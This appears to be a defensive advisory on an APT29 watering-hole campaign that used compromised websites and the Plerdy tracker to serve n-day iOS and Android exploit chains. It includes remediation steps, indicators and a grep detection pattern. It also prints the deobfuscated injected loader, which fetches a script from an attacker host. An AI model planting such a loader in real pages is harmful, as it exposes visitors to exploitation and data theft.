APT29 Watering Holes Exploit Mobile n-Days (CVE-2024-27834)

TL;DR

• APT29 compromised legitimate websites and the Ukrainian Plerdy analytics service to serve patched iOS and Android exploit chains to their visitors. Sekoia published its investigation on November 4, 2026.
• Any visitor on an unpatched iPhone, iPad or Android phone could be exploited without interaction. Devices that installed the fixed operating system and browser versions are not affected.
• CISA added the iOS pointer-authentication bypass CVE-2024-27834 to its Known Exploited Vulnerabilities (KEV) catalog on November 4, 2026, with a federal deadline of November 18, 2026. The other chain CVEs were already in KEV.
• Update every iPhone, iPad and Android device, and treat a visit from an unpatched device to an affected site as a possible compromise. See "How do I fix it?".

Am I affected?

You are exposed when all of these conditions hold:

• A device you use visited one of the affected websites, or any website that loaded the compromised Plerdy tracker, from August 27, 2026 onward, while the campaign's infrastructure was live.
• The device was running one of the vulnerable platform versions listed in the table on this page. The delivery server chose an exploit chain from the browser and operating system version it saw.
• The device had not installed the vendor fix for that chain. Every flaw in the chains was patched before the campaign started, so an up-to-date device is not affected.

The campaign is a watering hole. The attackers did not need to know who visited the sites, and the visitors did not need to click, download or approve anything. Sekoia assesses with moderate to high confidence that APT29, also tracked as Midnight Blizzard or Cozy Bear, ran the campaign.

Check what each device runs:

# iOS and iPadOS: Settings > General > About > iOS Version
# Android: Chrome > Settings > About Chrome, or open chrome://version

A site owner is exposed in a different way. Check whether your pages still load the tracker or the injected script:

# Search templates and JavaScript bundles for the campaign domains
grep -R -i -E 'a\.plerdy\.com|flux-telemetry|clouds-stacks|ads-it-assets|adv-static|wpvortex-mod|assets-int|starx-net' /var/www/html

The Plerdy tracker itself was cleaned after the one-week compromise. A page that still contains the injected snippet is a separate compromise of that site, not the tracker.

How do I fix it?

1. Update every iPhone and iPad to iOS 18.7.3 or iOS 26.3, or later. Devices that cannot run those versions need at least iOS 16.7.8 or 17.5, which close chain A by fixing CVE-2024-27834. Those devices keep the WebKit flaw CVE-2025-43529, which Apple fixed only in iOS 18.7.3 and 26.2. Prefer iOS 26.3 where the device supports it, because Apple has not fixed CVE-2026-20700 on the 18.x line.
2. Update Chrome on every Android device to 146.0.7680.75 or later. Chain C also needs the Adreno graphics driver fix; install the device vendor's security update that carries it. Qualcomm published CVE-2025-27038 in June 2025.
3. If a device visited an affected site while unpatched, treat it as compromised. Rotate the passwords and sessions of every account used on it, and review its messages, photos and cloud backups for access you do not recognise.
4. Site owners should remove the injected snippet and review the site's templates and JavaScript files. Sekoia's report says it shared indicators privately. A site owner should also review server logs for requests to the delivery domains listed under "How do I check if I was compromised?".

There is no configuration workaround for the device side. The exploit chains need only a browser rendering a page, and disabling JavaScript would block the sites' legitimate content as well. Updating the device is the fix.

For sites that depend on Plerdy, the vendor cleaned the tracker after the compromise. No public advisory gives a fixed tracker version, so review the rendered page source rather than relying on a version number.

What is the root cause?

The campaign's root cause is a delivery chain that reaches every visitor of a page, combined with phones that had not installed patches published months earlier.

Sekoia found three delivery vectors. The first is direct JavaScript injection into a compromised website's template or an existing library. The second is a pair of lookalike domains, america250[.]holiday and theowo[.]club, that reverse-proxy a real site and rewrite its HTML on the fly.

The third is the supply-chain compromise of the Plerdy SEO tracker at a.plerdy[.]com, which thousands of websites load, most of them Ukrainian. Between August 27 and September 3, 2026, the tracker served both its legitimate script and an injected loader.

The injected code is short. This is the loader Sekoia recovered from the Plerdy file, deobfuscated:

window.onload = function () {
  const s = document.createElement("script");
  s.src = "hxxps://edge-ord.clouds-stacks[.]com/module/5b4c8fea5cbcee273e8d830f52-temfp.js";
  document.body.appendChild(s);
};

The loaded file is the "UltimateFingerprinter", a 2.3 MB script that appends its code to a minified AngularJS library. Sekoia says the library is dead code and about 98 percent of the file. The technique may defeat analysis by large language models or make the file look like a known library.

The script collects 394 fields from 61 browser and device collectors and posts them to a delivery host. The host answers with the exploit code for that platform.

The fingerprint has almost no effect on which chain is served. Sekoia found only three fields that can block delivery: an implausible screen width or height, and a non-touch device. The rest of the data is collected but not used to select the exploit.

Each chain is a set of already-patched flaws. Chain A uses CVE-2025-43529, a WebKit use-after-free that Apple fixed in December 2025, and CVE-2024-27834, the pointer-authentication bypass Apple fixed in May 2024. Chain B is the DarkSword kit, which chains a WebKit remote code execution, a pointer-authentication bypass, two sandbox escapes and a kernel read/write primitive. Chain C uses CVE-2026-3910 in Chrome's V8 engine and CVE-2025-27038 in Qualcomm's Adreno graphics driver.

How is it exploited?

1. A target visits a compromised website, a lookalike domain or any site that loads the Plerdy tracker.
2. The page loads the injected loader, which fetches the fingerprinting script from the delivery infrastructure.
3. The script posts the device fingerprint to the delivery host. The host selects the chain for the reported platform and browser version and returns JavaScript.
4. Chain A executes CVE-2025-43529 for code execution in the WebKit renderer, then CVE-2024-27834 to bypass pointer authentication. It reads Cookies.binarycookies from application containers and posts the cookies to the exfiltration server.
5. Chain B runs the DarkSword stages: the WebKit remote code execution, the pointer-authentication bypass, the two sandbox escapes and the kernel primitive. It then harvests messages, mail, contacts, call history, photos, Keychain items, account data and Wi-Fi passwords.
6. Chain C runs CVE-2026-3910 in the Chrome renderer, then CVE-2025-27038 in the Adreno driver to leave the sandbox. It reads Chrome's cookies, saved logins and history, and the Android Wi-Fi configuration store.

The final exfiltration endpoint in all three chains is hxxps://ad.starx-net[.]com:8881/telemetry/v12. The iOS chains set a marker cookie named VDGH_TOKEN_REF to avoid infecting the same browser twice. A flaw in the cookie lifetime makes it expire after one minute instead of one day, so only very fast reinfection is prevented.

How does the attack flow?

The attacker turns a website visit into code execution on an unpatched phone, then steals cookies or the device's data.

What can an attacker do?

The impact depends on the chain the delivery host selects.

Chain A steals cookies from Safari and from application containers on iOS 16.0 to 16.7.7, or 17.0 to 17.4. Sekoia's analysis says the collector can read Cookies.binarycookies files outside Safari when the applications are running, then posts them to the exfiltration server. A stolen session cookie can let the attacker open the same account without the password, until the session expires or is revoked.

Chain B harvests the device. Sekoia lists the data it collects, including:

• SMS and iMessage, Mail indexes and voicemail.
• WhatsApp and Telegram databases.
• Keychain passwords and tokens, and account data.
• Contacts, call history, calendar and notes.
• Safari history and cookies, and location caches.
• Health data, the photo library and iCloud Drive.

Chain B needs an iPhone or iPad on the 18.x line before 18.7.3, or on iOS 26 before 26.3.

Chain C steals Chrome cookies, saved logins and history, and the Android Wi-Fi configuration store. It needs a Chrome version from 139 to 145 other than 143. It stops if the device identifies itself as a Samsung Galaxy S25 Ultra.

All three chains need the target to use an unpatched device and to visit an affected page. They do not need a click, a download, a password or a second app. An up-to-date device is not exploited by any of them, because every flaw was fixed before the campaign began.

Why does the fix work?

The fix is the vendor update, not a change to the campaign. Each chain depends on a specific unfixed memory-safety flaw, and the vendor updates remove the primitive the chain needs.

CVE-2024-27834 is the clearest example. Apple's record says the issue "was addressed with improved checks" and that the flaw let an attacker "with arbitrary read and write capability" bypass Pointer Authentication. Apple fixed it in iOS 16.7.8, iPadOS 16.7.8, iOS 17.5, iPadOS 17.5, macOS Sonoma 14.5, tvOS 17.5, watchOS 10.5 and Safari 17.5 on May 13, 2024.

Chain A still uses that flaw in 2026 because it targets devices that never installed the 2024 update.

The other chain CVEs have the same shape. CVE-2025-43529 was fixed in December 2025, and CVE-2026-20700 in iOS 26.3 in February 2026. Apple has shipped no CVE-2026-20700 fix for the 18.x line, up to iOS 18.7.11. On 18.x, iOS 18.7.3 breaks the chain by fixing its WebKit entry flaws, CVE-2025-43529 and CVE-2025-14174.

CVE-2026-3910 was fixed in Chrome 146.0.7680.75, and CVE-2025-27038 in the Adreno driver update that device vendors shipped after June 2025. Sekoia found no zero-day in any chain. An attacker with a fully updated device has no path through this campaign.

The fix is complete only for the flaws the chains use. It does not remove the injected script from a compromised site, and it does not clean a device that was exploited before the update. That is why the compromise checks matter separately.

How do I check if I was compromised?

Start with the network, because the device-side traces are limited.

• Search web proxy, DNS and firewall logs for requests to static.flux-telemetry[.]com, edge-ord.clouds-stacks[.]com, ads-it-assets[.]com, cdn.adv-static[.]com, wpvortex-mod[.]com, assets-int[.]com and ad.starx-net[.]com. Match the names case-insensitively.
• On a managed iOS device, review the installed configuration profiles and the Safari history for the affected period. A profile you did not install is a lead, not proof.
• On Android, check Chrome's history and the device's security patch level, and compare it with the vendor bulletin that lists the Adreno fix for CVE-2025-27038.

Sekoia withheld the full indicator set, including YARA rules and the list of compromised websites, and offers it to national CERTs and law enforcement under TLP:AMBER. No public indicator proves that a specific device was exploited. A failed attempt can leave no trace, and the iOS chains remove nothing from the device after exfiltration.

Timeline

• 2024-05-13: Apple fixes CVE-2024-27834 in iOS 16.7.8, iPadOS 16.7.8, iOS 17.5 and iPadOS 17.5.
• 2025-12-17: Apple publishes CVE-2025-43529 and fixes it in iOS 18.7.3, iPadOS 18.7.3, iOS 26.2 and iPadOS 26.2. Apple shipped no fix for iOS 16 or 17.
• 2026-03-12: Google publishes CVE-2026-3910, fixed in Chrome 146.0.7680.75.
• 2026-08-27 to 2026-09-03: the Plerdy tracker at a.plerdy[.]com serves the injected loader.
• 2026-10: Sekoia's Threat Detection and Research team begins the investigation and identifies the campaign.
• 2026-11-04: Sekoia publishes its report, and CISA adds CVE-2024-27834 to KEV with a due date of 2026-11-18.

FAQ

Is this a zero-day campaign?

No. Sekoia found no zero-day in any of the three chains, and every flaw was fixed before the campaign began. The campaign works only against devices that did not install those fixes.

Which devices are affected?

For the full-data chain, iPhones and iPads on the 18.x line before 18.7.3, or on iOS 26 before 26.3. For the cookie chain, iOS 16.0 to 16.7.7, or 17.0 to 17.4. For the Chrome and Wi-Fi chain, Android phones running Chrome 139 to 145 other than 143. A device with the fixed versions is not affected.

Does visiting the site once infect the phone?

Only if the device is unpatched and the delivery server chooses a chain for it. The chain runs without a click or a download. A patched device receives no working exploit.

Is the Plerdy tracker still malicious?

No. The compromise lasted from August 27 to September 3, 2026, and Sekoia describes the tracker as cleaned after that week. A site that still contains the injected snippet has its own compromise to investigate.

Why did CISA add only CVE-2024-27834 to KEV?

CISA added the pointer-authentication bypass on November 4, 2026, with a federal deadline of November 18, 2026. The seven other chain CVEs were already in KEV: CVE-2025-27038 (added 2025-06-03), CVE-2025-14174 (2025-12-12), CVE-2025-43529 (2025-12-15), CVE-2026-20700 (2026-02-12), CVE-2026-3910 (2026-03-13), and CVE-2025-43510 and CVE-2025-43520 (2026-03-20).

Is the campaign still active?

Sekoia published its report on November 4, 2026, and said it was coordinating with national CERTs to disrupt the infrastructure. The report does not state that the campaign has stopped.

References

• Sekoia TDR, "Poisoned Source: APT29 watering holes target mobile devices with n-day exploits": https://www.sekoia.com/blog/poisoned-source-apt29-watering-holes-targets-mobile-devices-with-n-day-exploits (checked November 5, 2026)
• CISA, "CISA Adds One Known Exploited Vulnerability to Catalog", November 4, 2026: https://www.cisa.gov/news-events/alerts/2026/11/04/cisa-adds-one-known-exploited-vulnerability-catalog (checked November 5, 2026)
• CISA, Known Exploited Vulnerabilities catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (checked November 5, 2026)
• CVE-2024-27834 record: https://www.cve.org/CVERecord?id=CVE-2024-27834 (checked November 5, 2026)
• CVE-2025-43529 record: https://www.cve.org/CVERecord?id=CVE-2025-43529 (checked November 5, 2026)
• CVE-2025-27038 record: https://www.cve.org/CVERecord?id=CVE-2025-27038 (checked November 5, 2026)
• CVE-2026-3910 record: https://www.cve.org/CVERecord?id=CVE-2026-3910 (checked November 5, 2026)